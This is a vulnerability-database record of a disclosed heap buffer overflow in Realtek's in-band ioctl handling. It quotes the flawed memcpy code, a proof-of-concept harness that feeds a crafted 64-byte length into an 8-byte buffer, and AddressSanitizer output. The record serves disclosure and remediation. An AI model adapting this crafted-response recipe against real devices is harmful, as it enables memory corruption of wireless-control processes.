GCVE-1988-2026-0077
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:54
VLAI
EPSS
VEX
Title
Realtek edimax 52fc10d19 In-Band Ioctl Response Length Confusion Causes Heap Buffer Overflow
Summary
The Realtek in-band ioctl bridge contains a heap-buffer overflow when
processing peer-supplied ioctl response data.
inband_ioctl() receives a response through the Realtek in-band transport
and extracts a 32-bit data_get_len value from that response. For several
wireless "get" operations, this peer-controlled value is subsequently used
directly as the length argument to memcpy().
For SIOCGIWSCAN, the destination is a caller-provided buffer referenced
through local_iwr->u.data.pointer.
Although the caller supplies the destination capacity in
local_iwr->u.data.length, the function overwrites that value with the
peer-controlled data_get_len before validating whether the returned data
fits the destination.
As a result, a malicious or compromised in-band peer capable of supplying
an oversized response length can cause inband_ioctl() to copy more data
than the caller's destination buffer can contain.
The supplied PoC creates an *8-byte caller buffer* and returns a
peer-controlled data_get_len of *64 bytes*. The original inband_ioctl()
implementation consequently performs a *64-byte **memcpy()** into the
8-byte heap allocation*.
AddressSanitizer confirms the resulting heap-buffer overflow.
Vulnerable Code
The response length is extracted from the received in-band data:
memcpy(
&data_get_len,
rx_buf + INBAND_IOCTLHDR_LEN + IWREQ_LEN + ext_len,
4
);
data_get_len = ntohl(data_get_len);
data_get_ptr =
(char *)(
rx_buf +
INBAND_IOCTLHDR_LEN +
IWREQ_LEN +
ext_len +
4
);
For SIOCGIWSCAN, the implementation subsequently performs:
case SIOCGIWSCAN:
local_iwr = (struct iwreq *)req;
local_iwr->u.data.length = data_get_len;
memcpy(
local_iwr->u.data.pointer,
data_get_ptr,
data_get_len
);
break;
The response controls data_get_len, but no validation ensures that:
data_get_len <= caller_destination_capacity
before the copy.
Root Cause
The caller initially provides both:
u.data.pointer -> destination buffer
u.data.length -> destination capacity
However, inband_ioctl() performs:
local_iwr->u.data.length = data_get_len;
before validating the response.
This destroys the original caller-provided capacity information.
The subsequent copy becomes conceptually equivalent to:
size_t attacker_len = response.data_get_len;
local_iwr->u.data.length = attacker_len;
memcpy(
caller_buffer,
response_data,
attacker_len
);
No reliable information about the actual destination capacity remains
available at the point of the copy.
The implementation also does not sufficiently establish that the received
response itself contains data_get_len bytes following the response-length
field.
Proof of Concept
The validation harness compiles the original source:
#include "../../../package/librtk-inband/src/hapd_api.c"
and stubs only the lower in-band transport functions.
The simulated peer response contains:
static unsigned char rx_buf[6 + 32 + 4 + 128];
int ret = htonl(0);
int attacker_len = htonl(64);
memcpy(rx_buf, &ret, sizeof(ret));
memcpy(
rx_buf + 6 + 32,
&attacker_len,
sizeof(attacker_len)
);
memset(
rx_buf + 6 + 32 + 4,
'A',
64
);
The caller allocates only:
small_destination = malloc(8);
req.u.data.pointer = small_destination;
req.u.data.length = 8;
and invokes the original vulnerable function:
inband_ioctl(SIOCGIWSCAN, &req);
The resulting state is:
Caller destination capacity: 8 bytes
Peer-controlled data_get_len: 64 bytes
memcpy() length: 64 bytes
------------
Overflow beyond destination: 56 bytes
The vulnerable memcpy() is executed by the original inband_ioctl()
implementation.
AddressSanitizer Evidence
AddressSanitizer confirms the out-of-bounds heap write:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 64
#1 ... inband_ioctl
package/librtk-inband/src/hapd_api.c:403
#2 ... main
src/poc_inband_ioctl_response_overflow.c:80
0x... is located 0 bytes after 8-byte region
allocated by thread T0 here:
#1 ... main
src/poc_inband_ioctl_response_overflow.c:70
The sanitizer evidence therefore directly establishes:
Destination allocation: 8 bytes
Write size: 64 bytes
Overflow: 56 bytes
Vulnerable function: inband_ioctl()
Result: CONFIRMED
Additional Affected Operations
The same response-copy pattern is present in additional wireless get
operations in the affected block, including:
SIOCGIWESSID
SIOCGIWRANGE
SIOCGIWAP
The exact destination differs between operations, but the security issue is
structurally similar: a length originating from the in-band response is
used to control a memory copy without first validating it against the
destination capacity.
These additional operations should be audited and individually
regression-tested as part of remediation.
Security Impact
The demonstrated primitive is an out-of-bounds heap write into a
caller-provided ioctl result buffer.
In the validated case, the response causes *64 bytes to be written into an
8-byte allocation*, corrupting 56 bytes beyond the destination.
Potential consequences include:
- process termination;
- corruption of adjacent heap objects;
- corruption of management or wireless-control process state; and
- potentially more significant memory corruption depending on allocator
layout and target hardening.
The current PoC validates the memory-corruption primitive in the original
inband_ioctl() implementation while stubbing the underlying in-band
transport. It does not independently establish a complete network
exploitation chain or arbitrary code execution.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Realtek | edimax 52fc10d19 |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "edimax 52fc10d19",
"vendor": "Realtek",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Realtek in-band ioctl bridge contains a heap-buffer overflow when\nprocessing peer-supplied ioctl response data.\n\ninband_ioctl() receives a response through the Realtek in-band transport\nand extracts a 32-bit data_get_len value from that response. For several\nwireless \"get\" operations, this peer-controlled value is subsequently used\ndirectly as the length argument to memcpy().\n\nFor SIOCGIWSCAN, the destination is a caller-provided buffer referenced\nthrough local_iwr-\u003eu.data.pointer.\n\nAlthough the caller supplies the destination capacity in\nlocal_iwr-\u003eu.data.length, the function overwrites that value with the\npeer-controlled data_get_len before validating whether the returned data\nfits the destination.\n\nAs a result, a malicious or compromised in-band peer capable of supplying\nan oversized response length can cause inband_ioctl() to copy more data\nthan the caller\u0027s destination buffer can contain.\n\nThe supplied PoC creates an *8-byte caller buffer* and returns a\npeer-controlled data_get_len of *64 bytes*. The original inband_ioctl()\nimplementation consequently performs a *64-byte **memcpy()** into the\n8-byte heap allocation*.\n\nAddressSanitizer confirms the resulting heap-buffer overflow.\nVulnerable Code\n\nThe response length is extracted from the received in-band data:\n\nmemcpy(\n \u0026data_get_len,\n rx_buf + INBAND_IOCTLHDR_LEN + IWREQ_LEN + ext_len,\n 4\n);\n\ndata_get_len = ntohl(data_get_len);\n\ndata_get_ptr =\n (char *)(\n rx_buf +\n INBAND_IOCTLHDR_LEN +\n IWREQ_LEN +\n ext_len +\n 4\n );\n\nFor SIOCGIWSCAN, the implementation subsequently performs:\n\ncase SIOCGIWSCAN:\n local_iwr = (struct iwreq *)req;\n local_iwr-\u003eu.data.length = data_get_len;\n memcpy(\n local_iwr-\u003eu.data.pointer,\n data_get_ptr,\n data_get_len\n );\n break;\n\nThe response controls data_get_len, but no validation ensures that:\n\ndata_get_len \u003c= caller_destination_capacity\n\nbefore the copy.\nRoot Cause\n\nThe caller initially provides both:\n\nu.data.pointer -\u003e destination buffer\nu.data.length -\u003e destination capacity\n\nHowever, inband_ioctl() performs:\n\nlocal_iwr-\u003eu.data.length = data_get_len;\n\nbefore validating the response.\n\nThis destroys the original caller-provided capacity information.\n\nThe subsequent copy becomes conceptually equivalent to:\n\nsize_t attacker_len = response.data_get_len;\n\nlocal_iwr-\u003eu.data.length = attacker_len;\n\nmemcpy(\n caller_buffer,\n response_data,\n attacker_len\n);\n\nNo reliable information about the actual destination capacity remains\navailable at the point of the copy.\n\nThe implementation also does not sufficiently establish that the received\nresponse itself contains data_get_len bytes following the response-length\nfield.\nProof of Concept\n\nThe validation harness compiles the original source:\n\n#include \"../../../package/librtk-inband/src/hapd_api.c\"\n\nand stubs only the lower in-band transport functions.\n\nThe simulated peer response contains:\n\nstatic unsigned char rx_buf[6 + 32 + 4 + 128];\n\nint ret = htonl(0);\nint attacker_len = htonl(64);\n\nmemcpy(rx_buf, \u0026ret, sizeof(ret));\n\nmemcpy(\n rx_buf + 6 + 32,\n \u0026attacker_len,\n sizeof(attacker_len)\n);\n\nmemset(\n rx_buf + 6 + 32 + 4,\n \u0027A\u0027,\n 64\n);\n\nThe caller allocates only:\n\nsmall_destination = malloc(8);\n\nreq.u.data.pointer = small_destination;\nreq.u.data.length = 8;\n\nand invokes the original vulnerable function:\n\ninband_ioctl(SIOCGIWSCAN, \u0026req);\n\nThe resulting state is:\n\nCaller destination capacity: 8 bytes\nPeer-controlled data_get_len: 64 bytes\nmemcpy() length: 64 bytes\n ------------\nOverflow beyond destination: 56 bytes\n\nThe vulnerable memcpy() is executed by the original inband_ioctl()\nimplementation.\nAddressSanitizer Evidence\n\nAddressSanitizer confirms the out-of-bounds heap write:\n\nERROR: AddressSanitizer: heap-buffer-overflow\n\nWRITE of size 64\n\n #1 ... inband_ioctl\n package/librtk-inband/src/hapd_api.c:403\n\n #2 ... main\n src/poc_inband_ioctl_response_overflow.c:80\n\n0x... is located 0 bytes after 8-byte region\n\nallocated by thread T0 here:\n\n #1 ... main\n src/poc_inband_ioctl_response_overflow.c:70\n\nThe sanitizer evidence therefore directly establishes:\n\nDestination allocation: 8 bytes\nWrite size: 64 bytes\nOverflow: 56 bytes\nVulnerable function: inband_ioctl()\nResult: CONFIRMED\n\nAdditional Affected Operations\n\nThe same response-copy pattern is present in additional wireless get\noperations in the affected block, including:\n\nSIOCGIWESSID\nSIOCGIWRANGE\nSIOCGIWAP\n\nThe exact destination differs between operations, but the security issue is\nstructurally similar: a length originating from the in-band response is\nused to control a memory copy without first validating it against the\ndestination capacity.\n\nThese additional operations should be audited and individually\nregression-tested as part of remediation.\nSecurity Impact\n\nThe demonstrated primitive is an out-of-bounds heap write into a\ncaller-provided ioctl result buffer.\n\nIn the validated case, the response causes *64 bytes to be written into an\n8-byte allocation*, corrupting 56 bytes beyond the destination.\n\nPotential consequences include:\n\n - process termination;\n - corruption of adjacent heap objects;\n - corruption of management or wireless-control process state; and\n - potentially more significant memory corruption depending on allocator\n layout and target hardening.\n\nThe current PoC validates the memory-corruption primitive in the original\ninband_ioctl() implementation while stubbing the underlying in-band\ntransport. It does not independently establish a complete network\nexploitation chain or arbitrary code execution.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:54:01Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/105"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/105"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/105"
],
"discovery": "EXTERNAL"
},
"title": "Realtek edimax 52fc10d19 In-Band Ioctl Response Length Confusion Causes Heap Buffer Overflow",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0077",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/105",
"automated": true,
"contentSha256": "6375a8198008bd257684ad6c19612f6087349470992d8318e09829da837862ca",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/105",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T12:43:31Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-11T11:54:01Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0077"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.